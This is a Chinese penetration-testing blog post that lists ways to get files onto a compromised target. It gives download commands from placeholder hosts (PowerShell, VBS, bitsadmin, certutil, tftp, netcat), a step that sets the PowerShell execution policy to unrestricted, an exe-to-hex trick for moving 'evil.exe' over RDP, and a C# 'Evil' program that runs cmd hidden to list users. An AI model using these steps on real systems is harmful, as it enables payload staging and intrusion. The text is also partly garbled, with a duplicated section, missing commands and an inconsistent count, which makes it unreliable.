收集整理的16種檔案下載的方式
前言
在我們的滲透過程中,通常會需要向目標主機傳送一些檔案,來達到提權,維持控制等目的。本篇文章將會介紹15種下載檔案的方法。
PowerShell File Download
PowerShell 是一種winodws原生的指令碼語言,對於熟練使用它的人來說,可以實現很多複雜的功能。
在windows 2003之中預設支援這種指令碼。
下面這兩條指令實現了從Internet網路下載一個檔案。
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
下面這條指令是執行一個檔案PS C:\> .\test.ps1
有的時候PowerShell的執行許可權會被關閉,需要使用如下的語句開啟。C:\>powershell set-executionpolicy unrestricted
Visual Basic File Download
在1998年Visual Basic最終標準在windows上確定。下面的程式碼可以實現下載檔案,雖然它的長度比Powershell長多了。
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
在windows中Cscript指令可以允許你執行VBS指令碼檔案或者對script指令碼做一些設定。在windows 7中這個指令並不是必須要用到。 但是在windows XP中需要使用這條指令,如下所示。
C:>cscript test.vbs
以下四種語言都不是系統原生指令碼,但是如果你的目標機器安裝了這些語言,你就可以使用他們來下載檔案。
Perl File Download
Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現檔案下載也很簡單
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
執行指令碼檔案是這樣root@kali:~# perl test.pl
Python File Download
Python也是很受歡迎的主流指令碼語言,程式碼清晰且簡潔。
#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()
執行指令碼檔案是這樣root@kali:~# python test.py
Ruby File Download
Ruby是一個面對物件的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載檔案這樣的小任務。
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
執行指令碼檔案是這樣root@kali:~# ruby test.rb
PHP File Download
PHP作為一種服務端指令碼,也可以實現下載檔案這種功能。
#!/usr/bin/php
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
執行指令碼檔案是這樣root@kali:~# php test.php
下面的上傳檔案的方法,可能需要更多得步驟,但是有些情況下卻可以繞過去多限制。
FTP File Download
一般情況下攻擊者使用FTP上傳檔案需要很多互動的步驟,下面這個 bash指令碼,考慮到了互動的情況,可以直接執行並不會產生互動動作。
ftp 127.0.0.1
username
password
get file
exit
TFTP File Download
在Windows Vista以及以後的版本中預設有FTP,可以使用以下命令執行:
tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
Bitsadmin File Download
Bitsadmin是Windows命令列工具,使用者可以使用它來建立下載或上傳的任務。
bitsadmin /transfer n http://domain/file c:\%homepath%\file
Wget File Download
Wget是Linux和Windows下的一個工具,允許非互動下載。
wget http://example.com/file
Netcat File Download
Netcat在linux上的例項:
攻擊者的電腦上輸入:
cat file | nc -l 1234
這個命令會將file的內容輸出到本地的1234埠中,然後不論誰連線此埠,file的內容將會傳送到連線過來的IP。
目標電腦上的命令:
這條命令將連線攻擊者的電腦,接受file內容儲存。
Windows Share File Download
Windows shares可以載入一個驅動器,然後用命令來複制檔案。
載入遠端驅動:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
Notepad Dialog Box File Download
如果你有許可權接入一臺(遠端連線或者物理機)電腦,但是你使用者許可權不允許開啟瀏覽器,這種方式可以讓你快速的從一個URL或者UNC路徑當中下載檔案。
1.開啟notepad 2.點選file - open
在File Name當中輸入完整的URL:
Notepad將會獲取URL的內容展現出來。
Exe to Txt, and Txt to Exe with PowerShell and Nishang
http://code.google.com/p/nishang/downloads/list
當需要把一個exe檔案放到目標計算機上時,這可能是我最喜歡的工具,Nishang使用PowerShell允許你吧一個exe轉換成hex,然後吧hex再轉換成原來的exe檔案。
把exe轉成hex檔案輸入:
Notepad將會獲取URL的內容展現出來。
Exe to Txt, and Txt to Exe with PowerShell and Nishang
http://code.google.com/p/nishang/downloads/list
當需要把一個exe檔案放到目標計算機上時,這可能是我最喜歡的工具,Nishang使用PowerShell允許你吧一個exe轉換成hex,然後吧hex再轉換成原來的exe檔案。
把exe轉成hex檔案輸入:
PS > .\ExetoText.ps1 evil.exe evil.txt
開啟evil.txt檔案,複製內容,然後通過RDP的剪貼簿複製進目標計算機。
把hex檔案還原成exe檔案輸入:
PS > .\TexttoExe.ps1 evil.text evil.exe
Csc.exe to Compile Source from a File
C的編譯器(CSC)是包含在在Windows微軟.NET安裝中的命令列編譯器。
這個可執行檔案的預設位置是以下情況:
C:\Windows\Microsoft.NET\Framework\version
使用下面的示例程式碼,編譯後的可執行檔案將使用的cmd.exe來查詢本地使用者,然後將結果寫入一個在C:\Temp\users.txt中。可以修改其中的程式碼,達到自己想要的目的,然後編譯成exe檔案。public class Evil
{
public static void Main()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C net users > C:\\Temp\\users.txt";
process.StartInfo = startInfo;
process.Start();
}
}
程式碼編譯命令:csc.exe /out:C:\evil\evil.exe C:\evil\evil.c
Certutil File Download
Certutil是用於備份證照服務管理,支援xp-win10
下載檔案方式如下
certutil -urlcache -split -f https://www.baidu.com/img/bd_logo1.png D:\x.txt 自定義目錄下載
當然除了列舉的這十六種方法以外還有許多其它的辦法來上傳檔案,介紹的這十五中方法是小編最常用的方法。希望這篇文章對大家有幫助!
相關文章
- JavaScript~檔案下載的幾種方式JavaScript
- 簡談檔案下載的三種方式
- 下載檔案的15種方法
- 15種下載檔案的方法
- js下載檔案的實現方式JS
- 下載GitHub上檔案的兩種方法Github
- Javascript 實現一個post方式的檔案下載JavaScript
- 檔案上傳的幾種方式
- 三種引入javascript檔案的方式JavaScript
- vue引用js檔案的多種方式VueJS
- php讀取檔案的幾種方式PHP
- 前端下載檔案的方式有哪些?前端
- windows下ftp定時執行批次下載檔案,windows下ftp定時執行批次下載檔案的一種方法WindowsFTP
- PG獲取檔案大小的幾種方式
- asp.net 中兩種不同方式檔案流下載的區別?ASP.NET
- ServletOutputStream在nginx轉發下輸出檔案下載的一種方法ServletNginx
- base64轉file檔案的兩種方式
- Java中建立並寫檔案的5種方式Java
- 幾種windows到linux上傳檔案的方式WindowsLinux
- Spring Boot讀取配置檔案的幾種方式Spring Boot
- Spring boot 讀取properties檔案的四種方式Spring Boot
- JavaScript 檔案載入方式JavaScript
- Java多種寫檔案方式Java
- 前端接受後端檔案流並下載的幾種方法前端後端
- ADNI的fMRI檔案下載教程
- 檔案的上傳與下載
- 檔案下載
- 載入AB的4種方式以及透過Manifest檔案得到某個包的依賴
- Windows從命令列建立文字檔案的兩種方式Windows命令列
- a標籤與Blob下載檔案的區別和獲取檔案下載進度
- JAVA檔案下載Java
- Response下載檔案
- HttpClient 下載檔案HTTPclient
- FastApi下載檔案ASTAPI
- 00、下載檔案
- Ajax 下載檔案
- js 檔案下載JS
- 總結java中建立並寫檔案的5種方式Java